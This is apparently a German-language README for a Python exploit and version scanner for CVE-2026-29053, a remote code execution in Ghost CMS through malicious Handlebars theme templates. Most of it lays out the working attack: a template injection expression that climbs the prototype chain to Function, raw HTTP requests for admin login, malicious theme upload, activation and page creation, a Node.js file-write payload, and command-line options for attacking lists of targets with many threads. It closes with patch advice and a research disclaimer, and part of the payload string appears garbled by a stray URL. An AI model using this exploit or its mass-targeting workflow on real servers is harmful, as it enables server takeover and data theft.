
Python-PoC und Versionsscanner für CVE-2026-29053, eine authentifizierte RCE in Ghost CMS unter 6.19.1 über bösartige Handlebars-Theme-Templates.
CVE-2026-29053 betrifft das auf Node.js basierende Content-Management-System Ghost. Versionen von 0.7.2 bis 6.19.0 sind von diesem Problem betroffen. Ein bösartiges Theme kann diese Schwachstelle ausnutzen und beliebigen Code auf dem Server ausführen, auf dem Ghost läuft. Die Schwere dieser Schwachstelle ist hoch, mit einem CVSS-Score von 7.6. Dieses Problem wurde in Version 6.19.1 behoben. Ein Angreifer, der diese Schwachstelle erfolgreich ausnutzt, kann unbefugten Zugriff auf den Server erlangen und möglicherweise die Kontrolle darüber übernehmen. Er könnte diesen Zugriff dann nutzen, um Daten zu manipulieren, sensible Informationen zu stehlen oder andere bösartige Aktivitäten durchzuführen. Die betroffenen Produkte/Dienste sind alle Versionen von Ghost von 0.7.2 bis 6.19.0. Um dieses Risiko zu mindern, sollten Benutzer ihre Ghost-Installationen so schnell wie möglich auf Version 6.19.1 oder höher aktualisieren. Dadurch wird sichergestellt, dass die Schwachstelle behoben ist und keine Bedrohung mehr darstellt. Wenn ein Update derzeit nicht möglich ist, wird empfohlen, neue Entwicklungen zu dieser Schwachstelle genau zu beobachten und die erforderlichen Sicherheitsmaßnahmen zum Schutz vor potenziellen Angriffen zu ergreifen. Diese CVE ist derzeit nicht im CISA-Katalog der bekannten ausgenutzten Schwachstellen (Known Exploited Vulnerabilities, KEV) aufgeführt, was bedeutet, dass sie nicht aktiv von Bedrohungsakteuren ausgenutzt wurde. Benutzer sollten jedoch dennoch die Aktualisierung ihrer Systeme priorisieren, um potenzielle Risiken im Zusammenhang mit dieser Schwachstelle zu vermeiden.
Ein Python-PoC für CVE-2026-29053, eine Remote-Code-Ausführungsschwachstelle in Ghost CMS, die dadurch verursacht wird, dass speziell gestaltete Themes während des Template-Renderings beliebiges JavaScript ausführen können.
Betroffen: Ghost
0.7.2bis Ghost CWE-74 — Unsachgemäße Neutralisierung spezieller Elemente in der Ausgabe, die von einer nachgelagerten Komponente verwendet wird
6.19.06.19.1Der Advisory von Ghost beschreibt das Problem als beliebige Codeausführung durch bösartige Themes.
Ghost-Themes verwenden Handlebars-Templates (.hbs).
Ein speziell gestaltetes Template kann die Art und Weise missbrauchen, wie Ghost Handlebars-Ausdrücke verarbeitet, und auf JavaScript-Funktionalität zugreifen, die von einem normalen Theme-Template aus nicht erreichbar sein sollte.
Der wichtige Teil des Exploits ist der Template-Ausdruck:
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
Die Payload wird in das Template eingefügt, bevor das bösartige Theme gepackt wird.
Das resultierende Template wird dann über die Ghost Admin API hochgeladen und aktiviert.
Wenn Ghost anschließend das betroffene Template rendert, bewirkt der injizierte Ausdruck, dass die JavaScript-Payload innerhalb des Ghost-Serverprozesses ausgeführt wird.
Das PoC stellt zunächst eine authentifizierte Ghost-Admin-Sitzung her.
Der relevante Endpunkt ist:
POST /ghost/api/admin/session/
Die vom PoC generierte Anfrage entspricht:
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
{
"username": "[email protected]",
"password": "PASSWORD"
}
Ghost gibt das authentifizierte Sitzungs-Cookie zurück.
Das PoC prüft auf HTTP 201 und fährt dann mit demselben requests.Session()-Objekt fort.
Der Exploit erstellt ein ZIP-Archiv, das ein minimales Ghost-Theme enthält.
Die wichtigen Dateien sind:
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json
Das bösartige Template wird geschrieben nach:
page-rce.hbs
Das PoC erstellt das Archiv vollständig im Speicher unter Verwendung des Python-Moduls zipfile.
Die generierte package.json identifiziert das Archiv als Ghost-Theme:
{
"name": "malicious-theme",
"description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
"version": "1.0.0",
"engines": {
"ghost": ">=5.0.0"
},
"license": "MIT"
}
Der anfällige Teil des Themes ist der Handlebars-Ausdruck innerhalb von page-rce.hbs.
Das PoC generiert:
{{!< default}}
<main class="lab-page">
<h1>CVE-2026-29053 trigger</h1>
<p>This page renders the malicious theme template.</p>
</main>
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
%PAYLOAD% eingesetzt, bevor das Theme komprimiert wird.Das Standard-PoC verwendet eine Dateischreib-Payload als nicht-destruktiven Nachweis der Codeausführung.
Es generiert JavaScript, das äquivalent ist zu:
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
'/tmp/cve-2026-29053-rce.txt',
'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1
Dies zeigt, dass die Payload innerhalb des Ghost-Node.js-Prozesses ausgeführt wird und auf Node.js-Funktionalität zugreifen kann.
Das PoC enthält außerdem einen optionalen Callback-Modus für Laborumgebungen.
Sobald das bösartige Theme generiert wurde, sendet das PoC es an:
POST /ghost/api/admin/themes/upload/
Die Anfrage ist ein Multipart-Formular-Upload.
Konzeptionell:
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
Content-Type: multipart/form-data; boundary=------------------------BOUNDARY
--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip
[ZIP ARCHIVE]
--------------------------BOUNDARY--
Das Archiv enthält das oben beschriebene bösartige .hbs-Template.
Das PoC erwartet HTTP 200 und extrahiert den zurückgegebenen Theme-Namen aus der JSON-Antwort.
Nach dem Hochladen des Themes aktiviert das PoC es mit:
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
Der Aktivierungsendpunkt wird dynamisch konstruiert:
/ghost/api/admin/themes/{theme_name}/activate/
Der Exploit stoppt, wenn Ghost nicht HTTP 200 zurückgibt.
Das PoC erstellt dann eine veröffentlichte Seite:
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
{
"pages": [
{
"title": "rce",
"slug": "rce",
"status": "published",
"html": "<p>rce</p>"
}
]
}
Der Code verwendet den Slug:
/rce/
Wenn die Seite bereits existiert, versucht er stattdessen, die vorhandene Seite abzurufen.
Der endgültige Auslöser ist einfach:
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION
Dies veranlasst Ghost, das aktive Theme zu rendern.
Das PoC prüft das zurückgegebene HTML auf:
CVE-2026-29053 trigger
um zu bestätigen, dass page-rce.hbs gerendert wurde.
Der wichtige Unterschied besteht darin, dass der Angreifer nicht lediglich HTML in eine Seite injiziert.
Die bösartige Eingabe wird Teil eines Ghost-Handlebars-Theme-Templates.
Das Template wird anschließend vom serverseitigen Rendering-System von Ghost interpretiert.
Der gestaltete Ausdruck erreicht JavaScript-Funktionalität über die Prototyp-/Konstruktionskette:
__proto__
↓
toString
↓
constructor
↓
Function(...)
↓
vom Angreifer kontrolliertes JavaScript
Das resultierende JavaScript wird im Ghost-Serverprozess ausgeführt.
Das PoC demonstriert dies, indem es auf das integrierte fs-Modul von Node zugreift und eine Datei auf dem Server schreibt.
Zusammengefasst ergibt die HTTP-Interaktion:
1. POST /ghost/api/admin/session/
└── authentifizieren
2. POST /ghost/api/admin/themes/upload/
└── malicious-theme.zip hochladen
3. PUT /ghost/api/admin/themes/<name>/activate/
└── bösartiges Theme aktivieren
4. POST /ghost/api/admin/pages/
└── /rce/ erstellen
5. GET /rce/
└── bösartige page-rce.hbs rendern
└── Handlebars-Ausdruck
└── JavaScript-Ausführung
└── Auswirkung auf Betriebssystemebene
Das PoC enthält außerdem einen Scanner.
Es fordert an:
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0
Die Antwort wird analysiert auf:
{
"site": {
"version": "6.19.0"
}
}
Das PoC vergleicht dann die Version mit:
0.7.2 <= version <= 6.19.0
und meldet übereinstimmende Versionen als anfällig.
Der veröffentlichte Advisory gibt den betroffenen Bereich als >= 0.7.2, < 6.19.1 an, mit 6.19.1 als behobener Version.
python3 exploit.py --target http://TARGET
Der Standard-Nachweispfad ist:
/tmp/cve-2026-29053-rce.txt
Er kann geändert werden mit:
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt
Wenn die Ghost-Einrichtung bereits abgeschlossen wurde:
python3 exploit.py --target http://TARGET --skip-setup
Anmeldedaten können angegeben werden mit:
--email
--password
Ziele können aus einer Datei bereitgestellt werden:
python3 exploit.py --file targets.txt
Anzahl der Threads:
python3 exploit.py --file targets.txt --threads 25
Der Scanner prüft den Ghost-Admin-Site-Endpunkt und vergleicht die gemeldete Ghost-Version mit dem anfälligen Bereich.
Eine erfolgreiche Ausnutzung ermöglicht die Ausführung beliebigen JavaScripts innerhalb des Ghost-Serverprozesses.
Abhängig von den Berechtigungen des Ghost-Prozesses und der verwendeten Payload kann dies beeinträchtigen:
Der veröffentlichte CVE-Eintrag bewertet das Problem als über das Netzwerk erreichbar, erfordert jedoch hohe Berechtigungen und Benutzerinteraktion, mit geändertem Scope.
Aktualisieren Sie Ghost auf:
6.19.1+
Der Schwachstellen-Advisory von Ghost identifiziert 6.19.1 als die gepatchte Version.
Installieren Sie keine nicht vertrauenswürdigen Themes.
Dieses PoC wird für Schwachstellenforschung, autorisierte Penetrationstests und Bildungszwecke bereitgestellt.